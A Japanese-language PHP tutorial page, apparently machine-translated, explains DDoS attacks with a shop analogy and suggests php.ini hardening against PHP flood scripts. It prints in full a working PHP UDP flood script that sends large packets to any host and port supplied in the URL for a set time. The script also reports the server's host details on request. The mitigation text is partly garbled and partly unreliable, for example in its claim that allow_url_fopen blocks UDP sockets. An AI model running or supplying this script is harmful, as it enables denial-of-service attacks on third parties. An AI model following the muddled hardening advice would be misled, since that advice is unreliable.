ホームページ > バックエンド開発 > PHPチュートリアル > DDoS 攻撃に対する PHP ソリューション

DDoS 攻撃に対する PHP ソリューション

怪我咯
リリース: 2023-03-13 20:24:02
オリジナル
2137 人が閲覧しました

まず DDoS について理解してください: 分散型サービス拒否 (DDoS: 分散型サービス拒否) 攻撃とは、クライアント/サーバー テクノロジを使用して複数のコンピューターを攻撃プラットフォームとして統合し、1 つ以上のターゲットに対して DDoS 攻撃を開始することを指します。サービス拒否攻撃。通常、攻撃者は盗んだアカウントを使用して、1 台のコンピュータに DDoS マスター プログラムをインストールします。このマスター プログラムは、ネットワーク上の多数のコンピュータにインストールされている多数のエージェントと通信します。エージェントは指示に応じて攻撃を開始します。クライアント/サーバー テクノロジを使用すると、マスター プログラムは数秒で数百または数千のエージェント実行をアクティブ化できます。

DDOS とは何かを深く理解するために、例えを使用してみましょう。

いじめっ子のグループは、向かいの競合店の通常営業を妨害しようとしていますが、どのような方法を使用しますか? (これはほんの一例です。真似しないでください。)いじめっ子は一般客のふりをしてライバル店に群がり、退店を拒否しますが、本物の買い物客は入店できないか、店員と常に雑談しているため、店員は立ち入りません。顧客に正常にサービスを提供することもできますが、店舗の全員が忙しくなると、すべてが無駄になったことに気づき、最終的には本当の大手顧客を失い、大きな損失が発生する可能性があります。さらに、いじめっ子がこれらの悪行を単独で実行するのは難しい場合があり、多くの人々が協力する必要があります。ネットワーク セキュリティの分野における DoS および DDoS 攻撃は、これらの考え方に従っています。

この記事では、主に PHP での Ddos 攻撃ソリューションを紹介します。Ddos 攻撃プログラムの原理と対象となるソリューションを分析します。必要な方は、ソースを参照してください。まずコードを説明します。コードは次のとおりです:

<?php 
set_time_limit(999999); 
$host = $_GET[&#39;host&#39;]; 
$port = $_GET[&#39;port&#39;]; 
$exec_time = $_GET[&#39;time&#39;]; 
$Sendlen = 65535; 
$packets = 0; 
ignore_user_abort(True); 
 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 
        if (StrLen($_GET[&#39;rat&#39;])<>0){ 
                echo $_GET[&#39;rat&#39;].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER[&#39;SERVER_NAME&#39;])."|".php_uname()."|".$_SERVER[&#39;SERVER_SOFTWARE&#39;].$_GET[&#39;rat&#39;]; 
                exit; 
            } 
        echo "Parameters can not be empty!"; 
        exit; 
    } 
 
for($i=0;$i<$Sendlen;$i++){ 
        $out .= "A"; 
    } 
 
$max_time = time()+$exec_time; 
 
while(1){ 
    $packets++; 
    if(time() > $max_time){ 
        break; 
    } 
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 
        if($fp){ 
            fwrite($fp, $out); 
            fclose($fp); 
    } 
} 
 
echo "Send Host:$host:$port<br><br>"; 
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 
?>
ログイン後にコピー

キー コードは次のとおりです:

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
ログイン後にコピー

この方法は非常に簡単で、ターゲット ホストに UDP パケットを送信し、無限デッド ループを定義します。 pressure.この圧力は実行用です。このスクリプトはサーバー用です。最初にサーバー自身のネットワーク帯域幅、CPU、その他のリソースを大量に消費するためです。このスクリプトを使用してターゲット サイトに圧力をかけるには、次のものが必要です。複数のサーバーでスクリプトを実行するには、fsockopen を使用して外部リクエストをリクエストし、

php.ini に を設定しないでください。コードは次のとおりです。それでもパッケージを送信する場合、コードは次のとおりです:

allow_url_fopen = Off
ログイン後にコピー

に変更します。 APACHE と IIS 、 NGINX を再起動します。これにより、PHP DDOS がパッケージを送信するのを防ぐことができます

さらに、一部のネチズンは、これを禁止するのは非常に簡単だと言いました。タイムアウトなしに設定するスクリプト: 1. set_time_limit

関数を無効にする

2. PHP の

セーフ モード

(safe_mode=on) を有効にする。

ソケット関数を無効にすると、すべてのソケット モジュールを直接無効にすることができます。 fsockopen 関数。ソケットはパスワードを取得するために電子メールを送信するためによく使用されるため、セーフ モードを直接有効にすることをお勧めしますが、この場合、スクリプトは 30 秒ごとにタイムアウトします。 30 秒ごとにクリックして DDOS を起動するほど孤独です。

以上がDDoS 攻撃に対する PHP ソリューションの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート